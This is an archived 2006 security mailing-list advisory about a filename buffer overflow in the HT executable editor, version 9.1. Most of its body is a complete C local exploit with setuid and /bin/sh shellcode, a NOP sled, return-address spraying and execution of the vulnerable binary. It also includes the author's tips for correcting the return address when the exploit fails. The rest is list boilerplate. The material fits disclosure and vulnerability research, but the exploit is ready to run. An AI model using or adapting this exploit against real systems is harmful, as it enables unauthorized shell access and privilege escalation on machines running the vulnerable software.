

[NEWS] HT Filename Buffer Overflow (Local, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00043.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxx>
 - *Date:* 15 Mar 2006 18:14:16 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

HT Filename Buffer Overflow (Local, Exploit)

SUMMARY

<<http://hte.sourceforge.net/>> HT is a "file editor/viewer/analyzer for executables. The goal is to combine the low-level functionality of a debugger and the usability of IDEs. We plan to implement all (hex-)editing features and support of the most important file formats". A vulnerability in HT allows attackers to supply a malicious file that will cause a buffer overflow to occur when it copies [filename] to [fullfilename] and print it on *htapp::window_create_file_bin using *printf()*.

DETAILS

Exploit:

```
/*  
* HT 9.1 (local exploit)  
* By Qnix <Qnix\[at\]bsdmail\[dot\]org>  
*  
* */
```

```
#include <stdio.h>  
#include <stdlib.h>
```

[NEWS] HT Filename Buffer Overflow (Local, Exploit)

```
#define SZ 4090

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

msg();

if(argc != 2) {
fprintf(stderr, "Usage : %s <ht filename>\n", argv[0]);
exit(0);
}

fprintf(stdout, "[~] Stack pointer (ESP) : 0x%x\n", esp);
fprintf(stdout, "[~] Offset from ESP : 0x%x\n", offset);
fprintf(stdout, "[~] Desired Return Addr : 0x%x\n\n", ret);

buffer = malloc(SZ);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < SZ; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
```

[NEWS] HT Filename Buffer Overflow (Local, Exploit)

```
buffer[SZ-4] = 0;

execl(argv[1], "ht", buffer, 0);

free(buffer);

return 0;
}

int msg() {

fprintf(stdout, "\n ----- \n");
fprintf(stdout, " HT 9.1 (local exploit)\n");
fprintf(stdout, " By Qnix <Qnix[at]bsdmail[dot]org");
fprintf(stdout, "\n ----- \n\n");

}

/* note;
```

If you didnt get the correct return address for example the real return address is 0xbfff698 and when you run the exploit it fail and you see that the return address is 0x98bfff6 , then fix the code by doing something like this

```
0x98 0xbf 0xff 0xf6
^      ^
||
0xf6 0xbf 0xff 0x98
^      ^
||
0xbf 0xf6 0xff 0x98
^      ^
||
0xbf 0xff 0xf6 0x98
```

Then ret = 0xbfff698 + 0x00000002; + 0x2 added because when you get a problem like that 0xbf will changed to 0xbd so we added 0x2 to fix it . */

ADDITIONAL INFORMATION

The information has been provided by <<mailto:qnix@xxxxxxxxxxxx>> Qnix.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

[NEWS] HT Filename Buffer Overflow (Local, Exploit)

[NEWS] HT Filename Buffer Overflow (Local, Exploit)

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.